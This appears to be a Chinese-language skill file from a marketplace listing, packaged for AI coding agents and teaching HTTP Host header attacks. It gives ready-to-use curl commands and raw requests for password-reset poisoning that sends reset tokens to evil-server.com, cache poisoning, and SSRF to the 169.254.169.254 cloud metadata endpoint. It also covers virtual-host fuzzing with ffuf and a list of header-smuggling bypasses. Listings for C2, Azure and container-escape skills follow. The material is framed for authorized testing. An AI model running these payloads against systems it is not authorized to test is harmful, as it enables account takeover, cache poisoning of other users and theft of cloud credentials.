skills/exploit/web-method/http-host-header-attacks/SKILL.md
HTTP Host Header 攻击方法论。当目标存在密码重置、缓存机制、反向代理、虚拟主机、重定向功能时使用。覆盖密码重置投毒(Host注入窃取reset token)、Web缓存投毒(Host控制缓存键)、通过Host路由SSRF、虚拟主机枚举与跨站读取、绕过技术(X-Forwarded-Host/双Host/绝对URI/端口注入/换行符注入)。任何涉及密码重置、Host头处理、缓存、虚拟主机配置的测试都应使用此 skill
npx skillsauth add wgpsec/AboutSecurity http-host-header-attacksInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
HTTP Host header 告诉 Web 服务器客户端请求的是哪个网站(虚拟主机路由)。很多应用在以下场景信任 Host header 的值:
如果应用不验证 Host header,攻击者可以操纵它来投毒链接、缓存或路由。
POST /forgot-password HTTP/1.1
Host: evil-server.com ← 攻击者替换
Content-Type: application/x-www-form-urlencoded
[email protected]
应用信任 Host 值生成重置链接 → 受害者收到的邮件中链接变为:
https://evil-server.com/reset?token=abc123
受害者点击链接 → token 发送到攻击者服务器。
# 正常请求(记录原始链接格式)
curl -X POST https://target.com/forgot-password \
-d "[email protected]"
# Host 注入
curl -X POST https://target.com/forgot-password \
-H "Host: evil-server.com" \
-d "[email protected]"
# 检查邮件中的链接是否包含 evil-server.com
如果直接替换 Host 被拒绝(400/403):
# 1. X-Forwarded-Host(最常用)
Host: target.com
X-Forwarded-Host: evil-server.com
# 2. 端口注入
Host: target.com:@evil-server.com
# 3. 绝对 URI
GET https://target.com/forgot-password HTTP/1.1
Host: evil-server.com
# 4. 双 Host header
Host: target.com
Host: evil-server.com
# 5. 换行符注入
Host: target.com
X-Forwarded-Host: evil-server.com
Host header 或 X-Forwarded-Host 注入可作为缓存投毒的输入向量——当响应内容受 Host 值影响且缓存键不包含该头时,被投毒的响应会分发给所有用户。检测到 Host 注入影响响应内容后,应进一步评估缓存投毒的完整利用链。
反向代理根据 Host header 决定转发到哪个后端:
GET / HTTP/1.1
Host: internal-admin.target.com ← 内部虚拟主机
GET / HTTP/1.1
Host: 169.254.169.254 ← 云元数据
GET https://target.com/ HTTP/1.1
Host: 169.254.169.254
某些代理使用 absolute URI 的 host 做 ACL 检查,但用 Host header 做路由。
# 用 ffuf 枚举 vhost
ffuf -u https://target.com -H "Host: FUZZ.target.com" \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-fs <default-size>
# 指定 IP 直接访问
curl -k https://10.0.0.1/ -H "Host: admin.target.com"
admin, staging, dev, test, internal, api-internal,
monitoring, grafana, jenkins, gitlab, kibana,
phpmyadmin, adminer, debug, console, management
Host: target.com
X-Forwarded-Host: evil.com
Host: target.com
Host: evil.com
不同中间件取第一个或最后一个 — 代理和后端不一致时产生绕过。
GET https://target.com/path HTTP/1.1
Host: evil.com
Host: target.com:evil.com
Host: target.com:@evil.com
Host: target.com:[email protected]
X-Host: evil.com
X-Forwarded-Server: evil.com
X-HTTP-Host-Override: evil.com
Forwarded: host=evil.com
Host: target.com%0d%0aX-Forwarded-Host: evil.com
Host: target.com evil.com
Host: target.com evil.com
| 框架 | Host 处理 | 密码重置风险 |
|---|---|---|
| Django | 检查 ALLOWED_HOSTS,但 X-Forwarded-Host 不在检查范围 | 高 — X-Forwarded-Host 直接用于 build_absolute_uri() |
| Rails | X-Forwarded-Host 优先于 Host | 高 — 直接影响 url_for |
| Laravel | 信任 X-Forwarded-* 如果设置了 trusted proxies | 中 — 取决于配置 |
| Spring | ForwardedHeaderFilter 处理 Forwarded header | 中 — 取决于是否启用 |
| Express/Node | req.hostname 读取 X-Forwarded-Host(在 trust proxy 下) | 中 |
| ASP.NET | X-Forwarded-Host 不自动使用 | 低(除非显式配置) |
HTTP/1.1 Keep-Alive 场景下,部分反向代理只在第一个请求验证 Host,后续请求复用连接:
请求 1: Host: target.com → 代理验证通过,建立连接
请求 2: Host: internal.com → 代理不再验证,直接转发 → 访问内部站点
目标有 Host header 注入点?
├── 密码重置功能?
│ ├── 直接替换 Host → 检查邮件链接
│ ├── 403/400?→ X-Forwarded-Host / 双 Host / 端口注入
│ └── 邮件含恶意域名?→ 密码重置投毒成功
├── 有缓存(CDN/Varnish/Nginx)?
│ ├── Host/X-Forwarded-Host 影响响应内容?
│ ├── 响应是否被缓存(X-Cache: HIT)?
│ └── 两者都是?→ Web 缓存投毒
├── 反向代理后多个后端?
│ ├── 枚举 vhost(ffuf + Host fuzz)
│ ├── Host: 169.254.169.254 → 云元数据 SSRF
│ └── Host: internal-admin → 内部面板访问
├── Connection State
│ └── Keep-Alive 复用 → 第二请求切换 Host
└── 全部失败 → 尝试其他注入点或攻击面
testing
Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面
tools
Mythic C2 操作方法论。当需要部署 Mythic、选择 Mythic Agent、安装 C2 Profile、配置 HTTP/DNS/WebSocket/SMB/TCP 通信、生成 payload、管理回连任务,或把 Mythic 作为跨平台 C2 框架用于授权红队演练时使用。覆盖 mythic-cli 安装、Agent/Profile 选择、SSL 证书配置、payload 构建和基础 OPSEC 判断
development
Docker 安全测试与容器渗透方法论。当需要评估 Docker 容器、Docker Daemon、Docker Registry、镜像层、构建产物或容器逃逸风险时使用。覆盖容器环境识别、特权容器逃逸、docker.sock/Remote API 利用、procfs/cgroup/capabilities 滥用、Docker 用户组提权、运行时/内核 CVE、Registry 枚举、镜像层 Secret 分析和构建上下文泄露。发现 Docker 容器环境、Registry 暴露、镜像凭据或容器配置错误时应使用此技能
development
使用 PadBuster 进行 Padding Oracle 攻击。当发现 Web 应用使用 CBC 模式加密且存在 Padding Oracle 漏洞时使用。PadBuster 可自动解密密文和伪造任意明文对应的合法密文,适用于加密 Cookie/Token/URL 参数。任何涉及 Padding Oracle 攻击、CBC 密文解密、Cookie 伪造的场景都应使用此技能